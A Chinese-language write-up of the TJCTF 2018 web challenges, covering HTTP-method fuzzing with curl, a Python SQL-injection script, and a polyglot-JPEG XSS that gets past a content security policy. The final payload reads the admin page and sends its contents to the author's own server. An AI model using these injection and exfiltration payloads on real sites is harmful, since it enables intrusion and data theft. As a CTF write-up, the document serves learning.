閑的無聊,打了下最近的tjctf2018,這場比賽挺不錯的,許多新穎的題目,題目難度分層恰當,有難有易,下面是這次的Web專欄writeup。
打開網頁,查看源代碼。
接著打開/static/main.js
,拉到底部,md5解碼得到答案
查看源代碼,發現提示
接著嘗試改下get的url
https://programmable_hyperlinked_pasta.tjctf.org/?lang=en.php
https://programmable_hyperlinked_pasta.tjctf.org/?lang=ch.php
隨便嘗試。。看到很多**消息。。。
查看下源代碼
去網站根目錄瞧瞧,嘿嘿
當然。。。。。這樣也是可以的
點點看咯,畢竟也沒別的東西
隨后你打開后,就會發現你做此題所需要了解的http請求方式+curl請求方式知識的鏈接:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS
其實就是下面這張圖里面的內容:
這里有個http請求方式相關鏈接:
https://www.cnblogs.com/testcoffee/p/6295970.html
了解了這些,我們用curl試水下
題目url的請求方式都試了一遍,可以看到,POST
和DELETE
需要憑證
em~
憑證是什么鬼。。。后面繼續試水,這里巨坑
原來所謂的憑證需要經過自己手工fuzz,一波踩坑,請求的data為:username=admin&password=admin
可以看到PUT有以下結果
$ curl -X PUT "https://request_me.tjctf.org/" --data username=admin&password=admin
I stole your credentials!
好的,告訴我們得到了憑證,那試試DELECT吧(這里試過get、post,但是沒用)
得到flag
這里還有個坑點:請求方式需要按照以下命令依次輸入執行,并且DELETE這條命令需要輸入兩遍才能得到flag(嘗試無數遍的操作)
$ curl -X POST "https://request_me.tjctf.org/" --data username=admin&password=admin
$ curl -X PUT "https://request_me.tjctf.org/" --data username=admin&password=admin
$ curl -X DELETE "https://request_me.tjctf.org/" --data username=admin&password=admin -u admin:admin
打開網頁,看到這個,跟原來那題很想。。。打開開發者工具,會發現隨著網頁往下托,控制臺會出現許多網頁
咯,就是這樣,往下滑不見底的那種
查看其中任意一個html的源碼
猜測應該是大量html中含有一個帶有flag的html文件。。。那怎么辦呢。總不能一直拉著鼠標往下拖吧。。。。百度,谷歌了下,其實。。。控制臺寫個命令就行
window.setInterval(function(){window.scrollByLines(10000)},1)
然后跑啊跑。。。。。。。1500多條才跑出來。。。
后面用ubuntu自帶的火狐,跑了100多條請求就跑出來。。暈死。。這是為啥?
隨意測試,用bp攔截下
提示This is what I got about you from the database: no such column: password
再看看響應的源代碼
嘗試
這里有檢驗@
,試試bp能不能繞過
提示還是:This is what I got about you from the database: no such column: password
嘗試改改post的數據password
->passwd
提示:This is what I got about you from the database: no such column: passwd
到這里大概知道我們可以干啥了。。通過修改這個字段,讓服務器查詢出我們想得到的信息
根據上面的分析,或許使用python的request請求更加合適呢!
這里簡單的sql測試,就基本可以大致的信息,題目所求用戶admin的ip地址
#-*-coding:utf-8
import requests
url = 'https://ess-kyoo-ell.tjctf.org'
s=requests.Session()
data={
"email":"' or 1=1 #",
#"username or 1=1 --":""
"(username or 1=1) and username = 'admin' --":""
}
r=s.post(url,data=data)
print 'n'.join(r.text.split('n')[174:174+18]) #只查看174~174+18行的網頁源代碼
s.close()
得到運行結果
<p id="profile-name" class="profile-name-card">This is what I got about you from the database: {'id': 706, 'username': 'admin', 'first_name': 'Administrative', 'last_name': 'User', 'email': '[email?protected]', 'gender': 'Female', 'ip_address': '145.3.1.213'}</p>
答案即是tjctf{145.3.1.213}
打開頁面,有注冊和登錄,那就是注冊再登錄試試咯
注冊了個賬號,jianghuxia ,登錄后發現自己的主頁url是:https://stupid_blog.tjctf.org/jianghuxia
推測每個username
的頁面是https://stupid_blog.tjctf.org/<username>
,那么先嘗試下https://stupid_blog.tjctf.org/admin
,得到下圖提示
仔細看看頁面,發現有3個模塊:Report a User、Update Profile Picture (png, jpg)、Save
感覺似曾相識em~流程大概是這么一個樣,上傳個人資料圖片(JPEG / PNG),在個人“Posts”上設置帖子,最后提交給管理員,如果這樣的話,考察的就是XSS咯
那么先測試一波上傳,測試途中,發現了配置文件圖像的固定URL是:https://stupid_blog.tjctf.org/<Username>/pfp
嘗試過抓包冒充擴展名,但會發現因為是固定的路徑,所以就算上傳成功后,都是一張默認用戶的圖片,如果要進行其他的測試也是行不通的
嘗試上傳正常的圖片,會發現正常顯示,且訪問路徑https://stupid_blog.tjctf.org/<Username>/pfp
會跳轉到剛剛的上傳文件的下載
到此,大致能分析出后臺具有挺嚴格的圖片上傳過濾規則,那么現在是能在圖片數據域里做手腳了。。
再測試XSS的時候,幾經測試,發現又具有嚴格的CSP規則。。。
em~那現在方向和思路都很明顯了
通過XSS使用JPG或者png文件上傳繞過CSP(Content-Security-Policy)
而關鍵的是,我們要把XSS的關鍵代碼寫入JPG中,繞過CSP
嘗試了幾波無果,沒思路咯,網上搜了一番,嘿嘿,找到個跟這個好像的 :
https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs
根據這篇文章分析,賊有意思,此文作者研究了JPG的文件格式,把腳本隱藏在了jpg圖像中,orz…
首先,jpg文件格式的頭部:
前4個字節是jpg文件頭,隨后2個字節,代表后面所填充的JPEG標頭的長度
FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00 00 00
接著,表示jpg數據域的開始的兩個字節:0xFF
, 0xFE
,其后面緊跟兩個代表數據域長度的字節
比如:FF FE 00 1C 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A
0xFF
,0xFE
代表數據域開始,0x00
,0x1C
代表后面數據的長度加上這兩個字節的本身長度。0x001C化為十進制代表28個字節,也就是56位
最后,JPG的文件尾部2A 2F 2F 2F FF D9
0xFF
、0xD9
代表JPG文件尾部的最后2個字節,意味著JPG文件的結束.
如此,當把代碼/=alert("Burp rocks.");/*
插入到一張jpg中,將是下面格式
接著回到題目先上傳該文件,上傳成功后,你可以訪問https://stupid_blog.tjctf.org/<Username>/pfp
下載這時的pfp文件,驗證是否跟上傳的一樣
可以發現一模一樣,意味著成功往JPG中寫入了代碼,再看看能不能執行
Post填入
<script charset="ISO-8859-1" src="/jianghuxia/pfp"></script>
SAVE,就會彈出提示框
很好,我們成功了。那么接下來只需要簡單改改上傳圖片中的代碼,然后進行相同的操作,最后再進行一步“Report a User”就行。
現在需要寫入的是:
*/=x=new XMLHttpRequest();x.open("GET","admin",false);x.send(null);document.location="http://<your severhost>/j"+x.responseText;/*
按照剛剛的填充JPG文件方法,計算長度
再加上前面2個代表長度的標識字節,264+2*2=268,268/2=134,再轉16進制,為0x86。再加上JPG的文件頭尾格式,得到下圖
上傳文件,并且上傳完成后再SAVE一遍Posts
報告提交給admin
提交成功
然后坐等自己服務器日志收到的新信息
web已完畢,以上就是TJCTF web專題的writeup,感覺前面3題都是很簡單的,第四題開始,難度步步提升,對于菜雞(我)還是很爽的。。orz…